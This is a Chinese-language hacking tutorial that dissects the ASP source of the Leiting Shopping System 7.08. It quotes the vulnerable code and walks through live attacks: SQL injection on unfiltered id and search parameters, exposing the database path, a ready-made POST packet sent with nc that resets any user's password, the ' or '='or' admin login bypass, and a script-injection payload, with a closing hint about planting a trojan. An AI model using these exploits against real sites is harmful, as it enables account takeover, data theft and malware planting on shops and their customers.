霸王背后的脆弱——完全解剖雷霆购物系统
霸王背后的脆弱——完全解剖雷霆购物系统
发布时间:2016-12-21 来源:查字典编辑
摘要:雷霆购物系统是国内一个使用比较广泛的购物系统,现在,我们就来看看它的安全性究竟如何吧!从网上下载7.08最新版的雷霆购物系统,现在我们来分析...

雷霆购物系统是国内一个使用比较广泛的购物系统,现在,我们就来看看它的安全性究竟如何吧!从网上下载7.08最新版的雷霆购物系统,现在我们来分析代码!!

一、SQL注入漏洞

我们先来看看vpro.asp文件的部分漏洞代码:

<%

dim id

id=request.QueryString("id")

dim prename,company,intro,predate,graph2,description,remarks,price

set rs=server.CreateObject("adodb.recordset")

rs.open "select * from product where id="&id,conn,1,3

rs("viewnum")=rs("viewnum") 1

rs.update

%>

sub.asp文件的漏洞代码:

sortsid=request.querystring("nid")

if Not isempty(request("page")) then

currentPage=Cint(request("page"))

else

currentPage=1

end if

set rs=server.CreateObject("adodb.recordset")

rs.open "select pagenum,name,mark,vipprice,discount,score,id,author,productdate,price2,price1,discount,pic from product where sortsid= "&sortsid&" order by adddate desc",conn,1,1

还有rank.asp文件的漏洞代码:

dim id,action

action=request.QueryString("action")

id=request.QueryString("id")

set rs=server.CreateObject("adodb.recordset")

rs.open "select id,name,rank,ranknum from product where id="&id,conn,1,3 参数全都没有做过滤,用普通的注入工具就能轻松注入。

Search.asp这个文件我开始还以为是搜索页面,但是当我细读代码后,发现原来reseach.asp才是真正的搜索文件,其中又这样一段代码:

if name<>"" then

sql=sql&"and name like ’%"&name&"%’ "

end if

if author<>"" then

sql=sql&"and author like ’%"&author&"%’ "

end if

if manufacturer<>"" then

sql=sql&"and mark like ’%"&manufacturer&"%’ "

end if

if code<>"" then

sql=sql&"and categoryid like ’%"&code&"%’ "

这就是经典的填字游戏!!因为它在高级搜索页面作了javascript过滤,所以我们要用nc提交来进行cookies注入。但我们也可以在快速搜索页面提交:“504%’注入语句’P4”就能注入了,抓包然后把地址放在NBSI里就能注入了,因为我的IIS有点问题,所有就没深入测试。

二、爆库

数据库连接文件conn.asp并没有加入容错语句On Error Resume Next我们随便找一个带参数的地址,如:www.hackerxfiles.net/vpro.asp?id=513,我们就在地址栏里输入:www.hackerxfiles.netvpro.asp?id=513,看数据库爆出来了吧! 三、cookies欺骗漏洞

Forget.asp是密码找回文件文件,repws.asp是修改密码文件,我们来看看它的部分代码:

<%

if request("username")="" then

call MsgBox("非法使用!","Back","None")

response.end

end if

dim tmp

set rs=server.CreateObject("adodb.recordset")

’提交修改密码

if not isempty(request("SubmitRePws")) then

if request("password")<>request("password2") then call MsgBox("再次输入密码不一致!","Back","None")

rs.open "select password from [user] where username=’"&trim(request("username"))&"’",conn,1,3

rs("password")=md5(trim(request("password2")))

rs.update

rs.close

call MsgBox("您的密码取回成功,请登录!","GoUrl","login.asp")

response.end

end if

rs.open "select answer from [user] where username=’"&trim(request("username"))&"’ ",conn,1,1

tmp=trim(rs("answer"))

rs.close

if tmp<>md5(request("answer")) then

call Msgbox("对不起,您输入的问题答案不正确","Back","None")

response.end

end if

set rs=nothing

%>

呵呵,笑了吧!我们现在来构造数据包:

POST /lt/repws.asp HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Referer: http://localhost/lt/repws.asp

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)

Host: localhost

Content-Length: 72

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: ASPSESSIONIDQGQGQXOO=IFKFCOFAPEOINKPNGDEJEKOF

password=121212&password2=121212&SubmitRePws=提交&username=x-key

修改就把ueername和password、possword2还有Content-Length修改一下就行了,其他的都不用改。我们现在用nc提交:nc localhost 80<1.txt>1.htm,如图3所示,然后我们运行一下1.htm,就会看到图4的消息框了!

四、跨站漏洞

注册文件reg.asp只是在页面表面用了javascript做了过滤,我们可以把它保存到本地,然后删除javascript验证就能注册了呵呵,注册的所有参数都完全没有做过滤哦!!在里面添任何东西都可以,但是这又有什么用呢?那么这就是要看你的工程学了。

我们来看看留言本的login.asp的漏洞代码:sqlchk="select * from admin where admin=’" & Username & "’ and password=’" & password & "’"呵呵,用经典的’or’=’or’就能进入了,但是,页面做了javascript验证,但是这个验证就能阻止我们吗?呵呵,当然不能,绕过javascript验证的方法前面已经讲过了,这里就不重复了!

我们只要先抓包,然后用nc这样提交就行了nc localhost 80<1.txt>1.htm好了,现在我们就可以打开1.htm了!!

我们再来看看write.asp文件,我们打开该页面在“电子邮件”或者“个人主页”中输入跨站代码:"><script>alert("x-key")</script><",就能看到我们想要的效果了!如果我们再勾上“只有斑竹才可以看”,呵呵,挂个马什么的不就……

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新黑客入侵学习
热门黑客入侵学习
网络安全子分类